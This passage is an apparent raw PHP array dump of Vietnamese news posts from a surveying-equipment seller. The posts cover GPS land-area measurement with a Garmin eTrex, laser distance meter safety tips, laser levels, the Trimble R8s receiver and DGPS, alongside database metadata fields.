dẫn đo diện tích đất bằng máy định vị cầm tay GARMIN ETREX 10/20X ', 'code' => null, 'alias' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(17, 17, 17); font-weight: 700; text-align: justify;">Những năm gần đây việc sử dụng máy định vị cầm tay để đo diện tích đất nông nghiệp, đất rừng… trở nên phổ biến. Người nông dân, thương lái đã ứng dụng thiết bị kỹ thuật vào việc đo diện tích đất để mua bán cao su, tiêu, điều,… một cách rất hiệu quả và chính xác.</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Sau đây, chúng tôi xin phép hướng dẫn cách đo diện tích đất bằng máy định vị cầm tay Etrex 10/20x đơn giản và chính xác.<br /> <br /> <strong>Phần 1: Kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích</strong><br /> <br /> Máy định vị cầm tay Etrex 10/20 đo diện tích dựa trên tín hiệu vệ tinh vì vậy để số liệu đo chính xác thì vệ tinh thu được phải nhiều và đầy đủ. Hãy kiểm tra tín hiệu vệ tinh trước khi đo:<br /> <br /> - Nhấn <em>Menu</em> 2 lần để vào màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2.jpg" style="width: 300px; height: 300px;" /><br /> <br /> - Di chuyển con trỏ vào ô <em>Satellite</em> => nhấn <em>Enter</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3(1).jpg" style="width: 381px; height: 510px;" /><br /> <br /> - Màn hình vệ tinh sẽ hiện ra. Trên góc phải phía trên màn hình thể hiện sai số của máy. Khi hiện ra số từ 3 - 5m tức là vệ tinh đã tốt, chúng ta có thể bắt đầu đo diện tích đất.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4(1).jpg" style="width: 306px; height: 409px;" /><br /> Sau khi kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích sẽ tiến hành đo diện tích đất.<br /> <br /> <strong>Phần 2: Tiến hành đo diện tích đất</strong><br /> <br /> <strong>Bước 1:</strong> Nhấn nút <em>Menu</em> trên máy 2 lần để trở về màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 1 lần 2.jpg" style="width: 300px; height: 300px;" /><br /> <em>Hình 1. Nhấn Menu 2 lần để trở về màn hình chính</em><br /> <br /> Bước 2: Di chuyển con trỏ vào biểu tượng có chữ <em>Area Calculation</em> (chức năng đo diện tích) => nhấn <em>Enter</em><strong>. </strong>Màn hình đo diện tích sẽ hiện ra.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2 lần 2.jpg" style="width: 311px; height: 414px;" /><br /> <em>Hình 2. Di chuyển con trỏ vào biểu tượng có chữ Area Calculation</em><br /> <br /> Bước 3: Bây giờ hãy vào khu đất cần đo diện tích và nhấn <em>Enter</em> vào chữ <em>Start</em>, sau đó đi vòng quanh khu đất cần đo.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3 lần 2.jpg" style="width: 400px; height: 533px;" /><br /> <em>Hình 3. Nhấn Enter vào chữ Start</em><br /> <br /> Bước 4: Sau khi đi vòng quanh khu đất cần đo đến vị trí xuất phát ban đầu nhấn <em>Enter</em> vào chữ <em>Calculate.</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4 lần 2.jpg" style="width: 296px; height: 395px;" /><br /> <em>Hình 4. Nhấn Enter vào chữ Calculate</em><br /> <br /> Màn hình hiển thị kết quả đo diện tích sẽ hiện ra:<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 5.jpg" style="width: 309px; height: 412px;" /><br /> <em>Hình 5. Hiển thị kết quả đo</em><br /> <br /> Tùy vào mỗi mục đích công việc khác nhau mà chúng ta lựa chọn đơn vị đo phù hợp.<br /> Để chọn đơn vị đo bạn chỉ cần di chuyển con trỏ vào chữ <em>Change Units</em> và nhấn <em>Enter </em>=> màn hình sẽ hiện ra các đơn vị đo để bạn lựa chọn, thông thường chúng ta sẽ đo diện tích khu đất lớn nên chọn vào đơn vị Hectares<strong> (</strong>Ha<strong>).</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 6.jpg" style="width: 376px; height: 502px;" /><br /> <em>Hình 6. Chuyển đơn vị đo</em><br /> <br /> <strong>Cần lưu ý là phải đi thành 1 vòng khép kín thì máy mới đo diện tích khu đất một cách chính xác.</strong></span></span><br /> </p> <p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> ', 'images' => '2019042407173039b311cfd409011833b1fdef4dd12cf9.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-24', 'modified' => '2025-08-18', 'status' => '1', 'view' => '56829', 'slug' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '935', 'rght' => '936', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '534', 'name' => 'Những lưu ý khi dùng máy đo khoảng cách laser', 'code' => null, 'alias' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. </span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Máy đo khoảng cách laser với ưu điểm thiết kế cầm tay nhỏ gọn, đút túi dễ dàng và kết quả phản hồi nhanh. Các tính năng cơ bản bao gồm đo khoảng cách, tính toán theo pitago, diện tích, thể tích, chu vi, đo góc, cộng trừ nhân chia. Ngoài ra, riêng dòng Leica có thêm rất nhiều tính năng vượt trội cho người chuyên nghiệp như đo cạnh trên cao, đo sườn đồi, đo độ nghiêng mái nhà, tính cạnh gián tiếp...<br /> <br /> Trước khi sử dụng bạn cần đọc các lưu ý quan trọng dưới đây để tránh làm hỏng thiết bị hoặc gây hại đến người xung quanh. <br /> <br /> - Không để tia laser hướng về phía người hoặc động vật và không nhìn vào tia laser trực tiếp hoặc qua phản chiếu.<br /> - Nếu tia laser hướng vào mắt, bạn phải nhắm mắt lại và ngay lập tức xoay đầu để tránh tia laser.<br /> - Không được sử dụng kính nhìn laser như là kính bảo hộ lao động.<br /> - Không được nhúng dụng cụ đo vào trong nước hay các chất lỏng khác.<br /> - Lau sạch bụi bẩn bằng một mảnh vải mềm và ẩm.<br /> - Không sử dụng bất cứ chất tẩy rửa hay dung môi nào.<br /> - Nếu dụng cụ đo bị trục trặc, vui lòng liên hệ bộ phận kỹ thuật của chúng tôi để được hướng dẫn và bảo hành. Tuyệt đối không tự ý tháo mở dụng cụ đo ra để tránh làm thiết bị hỏng hóc thêm.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/H1.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H2.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H3.jpg" style="width: 236px; height: 138px;" /></span></span><br /> <br /> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <img alt="" src="/admin/webroot/upload/image/images/H7.jpg" style="width: 500px; height: 360px;" /></p> ', 'images' => '20190301033534e604a531789bb8c3cfaceb0b2346fd77.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-03-01', 'modified' => '2025-08-18', 'status' => '1', 'view' => '68990', 'slug' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '933', 'rght' => '934', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '533', 'name' => 'Cùng tìm hiểu về dòng máy thuỷ bình laser', 'code' => null, 'alias' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người. Các chức năng nổi bật đó có thể bao gồm:<br /> - Là thiết bị đo đạc ở các khoảng cách khác nhau từ gần đến xa, từ địa hình bằng phẳng đến nhưng nơi trắc trở nhiều nguy hiểm. Máy thuỷ bình laser có thể hỗ trợ con người trong việc tính toán và lập sơ đồ công trình rất nhanh chóng và chính xác.<br /> - Sử dụng máy trong việc quét mã vạch laser của ngành công nghiệp thương mại giúp bạn có được những kết quả tuyệt đối và tiện lợi hơn.<br /> - Ngoài ra, máy thuỷ bình laser còn là một thiết bị có ứng dụng rộng rãi trong ngành công nghiệp sản xuất, giáo dục, t tế và giao thông, công nghiệp vận chuyển.<br /> <br /> <strong>Một số cách phân loại máy thuỷ bình laser nổi bật nhất</strong></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua màu sắc</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Màu sắc máy thuỷ bình laser sẽ tương ứng với màu sắc tia laser được tích hợp bên trong máy và những dòng máy có màu sắc khác nhau sẽ có các đặc tính sử dụng cũng như nhiều ưu nhược điểm khác nhau. Một số dòng máy thuỷ bình laser chính được phân loại theo hình thức này đó chính là máy tia xanh, tia đỏ, tia cam, tia xanh ngọc, tia hồng. Tuy nhiên, nổi bật hơn cả vẫn là hai dòng máy chính tia xanh và tia đỏ. Chúng được xuất hiện phổ biến trên thị trường với những vai trò vô cùng hữu ích, khả năng ứng dụng đa dạng và linh hoạt cho người dùng.<br /> <img alt="" src="/admin/webroot/upload/image/images/1539914884-may can bang2 (1).JPG" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser theo nhà sản xuất</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Có rất nhiều đơn vị khác nhau gia nhập vào lĩnh vực thiết kế, sản xuất và phân phối máy thuỷ bình laser ra thị trường. Một số thương hiệu nổi bật có thể kể đến như dòng máy thuỷ bình laser thương hiệu Hàn Quốc, Nhật Bản, Đức: Sincon, Bosch, Fukuda, Laisai,...<br /> <img alt="" src="/admin/webroot/upload/image/images/1512013048_may-can-bang-laser-sincon-sl-333.jpg" style="width: 455px; height: 481px;" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua số tia được tích hợp</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Số tia của máy thuỷ bình laser có ảnh hưởng rất lớn đến hiệu quả ứng dụng, đến mức độ phổ biến và khả năng sử dụng thực tế của máy cho các nhu cầu của người dùng. Tùy từng mục đích khác nhau bạn có thể chọn lựa dòng máy thuỷ bình laser với số tia vừa phải như 2 tia, 3 tia, 4 tia, 5 tia. Số lượng tia càng lớn thì giá thành máy càng cao, tuy nhiên hiệu quả và các chức năng máy mang lại sẽ càng lớn.<br /> <br /> <strong>Đánh giá một số ưu điểm của máy thuỷ bình laser trên thị trường hiện nay:</strong><br /> - Sử dụng máy thuỷ bình laser có thể thay thế hoàn toàn các phương thức đo đạc truyền thống với các kết quả đảm bảo độ chính xác, nhanh chóng và rất tiện lợi. Bạn có thể tránh đi được các thao tác phức tạp cần phải thực hiện, ngoài ra là còn tránh được các sai lệch có thể ảnh hưởng trực tiếp đến những công trình thực tế đang nghiên cứu hoặc thi công.<br /> - Việc sử dụng các dòng máy thuỷ bình laser hiện đại ngày nay rất đơn giản, chỉ cần nhấn nút và kiểm tra kết quả đo. Việc băn khoăn về những công việc cần làm cũng được giảm đi đáng kể. Từ đó giúp tiết kiệm thời gian rất nhiều.<br /> - Các thiết kế máy thuỷ bình laser hiện nay đều rất hiện đại, sang trọng với khả năng thu hút, bắt mắt, thể hiện cho sự cập nhật xu hướng cho chính người dùng, người chủ của máy.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/images(1).jpg" style="width: 225px; height: 225px;" /><br /> <br /> <strong>Một số nhược điểm của máy thuỷ bình laser:</strong><br /> Tuy mang trong mình nhiều ưu điểm nhưng vẫn không thể phủ nhận được một số khuyết điểm mà máy thuỷ bình laser vẫn còn gặp phải. Việc sử dụng máy tuy đơn giản nhưng luôn cần phải đảm bảo đúng và đủ các thao tác cần thiết. Nếu không sẽ không thể thu được kết quả đo. Ngoài ra, khi ứng dụng máy thuỷ bình laser trong một số điều kiện về địa hình trắc trở hay có nhiều vật cản, kết quả đo đạc thu được có thể sẽ không đảm bảo được độ chính xác tuyệt đối.<br /> Mức giá của các dòng máy thuỷ bình laser khá lớn, thường cao hơn so với các lựa chọn của phương pháp đo đạc truyền thống. Vì vậy, chi phí đầu tư ban đầu cần bỏ ra cho phương pháp cần phải xác định là sẽ tốn kém hơn. Tuy nhiên, so với những hiệu quả mà máy có thể mang lại thì đây hoàn toàn là những con số có thể chấp nhận được.<br /> </span></span>', 'images' => '20190213030954ce4c7d18ea6c8d4e032f065a283c7634.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-02-13', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66822', 'slug' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '931', 'rght' => '932', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '532', 'name' => 'Đo đạc khảo sát bằng công nghệ RTK - TRIMBLE R8S ', 'code' => null, 'alias' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghệ GPS RTK trong đo đạc khảo sát địa hình giúp rút ngắn thời gian đo đạc ngoài thực địa.<br /> Phương pháp đo vẽ bằng công nghệ RTK rất đơn giản.Khả năng đo chi tiết ở khoảng cách khá lớn.Trạm máy ít phải di chuyển nên tốc độ đo nhanh hơn. Với công nghệ RTK, nhân lực giảm, mang lại hiệu quả lớn về mặt kinh tế.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100541-r8s-4 (1)(1).JPG" style="width: 841px; height: 329px;" /><br /> Cùng với đó, để nâng cao năng suất và hiệu quả của công việc đo đạc khảo sát, bạn cần kết hợp với thiết bị máy toàn đạc điện tử để đo đạc.<br /> <br /> Để bắt kịp xu thế, Trimble – hãng sản xuất của Mỹ cho ra đời dòng máy định vị vệ tinh GNSS 02 tần số R8s. Máy có thiết kế nhỏ gọn và các tính năng nổi bật, đặc biệt là độ chính xác cao.Chuyên dùng trong công tác khảo sát thành lập lưới khống chế tọa độ với độ chính xác cao;<br /> Ngoài ra Trimble R8s cũng có thể được dùng trong việc khảo sát, thi công công trình như một chiếc máy đo đạc thông minh.Có thể thực hiện được tất cả các công việc trắc địa như giao hội, bố trí đường cong, tính diện tích.<br /> <br /> <strong>Các tính năng nổi bật của Trimble R8s GNSS:</strong><br /> + Bộ thu vệ tinh có thể lập cấu hình và tùy chỉnh nhằm đáp ứng yêu cầu của người dùng<br /> + Có cấu hình xử lý hậu kỳ, cấu hình chỉ gồm trạm Base hoặc trạm Rover.Hoặc cấu hình bao gồm cả hai trạm Base và Rover<br /> + Khả năng dò tìm vệ tinh tiên tiến với công nghệ thu vệ tinh Trimble 360<br /> + Gồm bộ vi mạch Trimble Maxwell 6 với 440 kênh<br /> + Tích hợp đơn giản với dòng máy toàn đạc Trimble S-series và trạm Rover V10 Imaging<br /> + Phần mềm hiện trường Trimble Access và phần mềm nội nghiệp Trimble Business Center đầy trực quan<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100540-r8s-2(1).jpg" style="width: 426px; height: 600px;" /></span></span><br /> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">Với những tính năng nổi trội như trên, Trimble R8s sẽ là một giải pháp hoàn thiện cho công tác đo đạc khảo sát thành lập bản đồ.</span> </span></span></div> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> </div> ', 'images' => '20181225030718344e0b16ef2063800ec3d36fa19f99b7.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-12-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66565', 'slug' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '929', 'rght' => '930', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '531', 'name' => 'Công nghệ DGPS và ứng dụng của nó.', 'code' => null, 'alias' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span>', 'content' => '<p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span><br /> </p> <p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">DGPS sử dụng thêm một mạng lưới các trạm mặt đất cố định để phát tín hiệu. Làm căn cứ cho thiết bị định vị nhận biết khác biệt giữa các vị trí của các trạm đo. Phân biệt theo hai cách: được chỉ định bởi hệ thống vệ tinh và số liệu đo đạc chính xác đã biết từ trước. Từ sai khác giữa vị trí đo bởi vệ tinh và vị trí chính xác đã biết. Các thiết bị định vị có thể hiệu chỉnh vị trí chính xác của chúng.</span></span></p> <p style="text-align: center;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939579-DPGS-2.jpg" style="width: 507px; height: 347px;" /></span></span></p> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Các tín hiệu hiệu chỉnh thường được phát ở dạng sóng radio UHF.<br /> <br /> Hệ thống DGPS:<br /> - Một là chủ yếu cho hàng hải, phát tín hiệu trên dải sóng dài;<br /> - Một hệ thống khác được sử dụng cho điều tra đất đai và di chuyển trên mặt đất, sử dụng băng tần FM radio thương mại.<br /> <br /> Ở Việt Nam hiện có 6 trạm DGPS: Đồ Sơn, Vũng Tàu, Hà Giang, Cao Bằng, Lai Châu, Quảng Nam.<br /> <br /> Các ứng dụng hệ thống DGPS: <br /> <br /> - Ứng dụng trong trắc địa và bản đồ mặt Đất<br /> - Ứng dụng trong trắc địa và bản đồ biển<br /> - Ứng dụng trong giao thông và hải dương học trên biển<br /> - Ứng dụng trong trắc địa và bản đồ hàng không<br /> - Ứng dụng trong giao thông hàng không<br /> - Ứng dụng trong thám hiểm không gian<br /> - Ứng dụng trong quân đội<br /> <br /> <strong>GPS và DGPS khác nhau như thế nào?</strong> </span></span><br /> <ul> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> GPS là tín hiệu được phát trực tiếp từ các vệ tinh toàn cầu GPS. GPS có độ sai số trong phạm vi tiêu chuẩn là 15m.</span></span></li> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> DGPS là tín hiệu vô tuyến được phát từ các trạm DGPS sau khi nhận GPS và sửa đổi chúng cho tín hiệu chính xác hơn. Với phạm vi tiêu chuẩn dưới 5m. Tuy nhiên nhược điểm của DGPS là phải sử dụng nhiều trạm phát dưới mặt đất. Sai số sẽ càng cao khi khoảng cách từ trạm DGPS đến thiết bị thu sóng càng lớn.</span></span></li> </ul> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-11.jpg" style="width: 421px; height: 245px;" /></span></span></p> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-12.jpg" /></span></span></p> ', 'images' => '20181123080947be329442040732a45e4832bf54eaf382.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-23', 'modified' => '2025-08-19', 'status' => '1', 'view' => '68589', 'slug' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '927', 'rght' => '928', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' 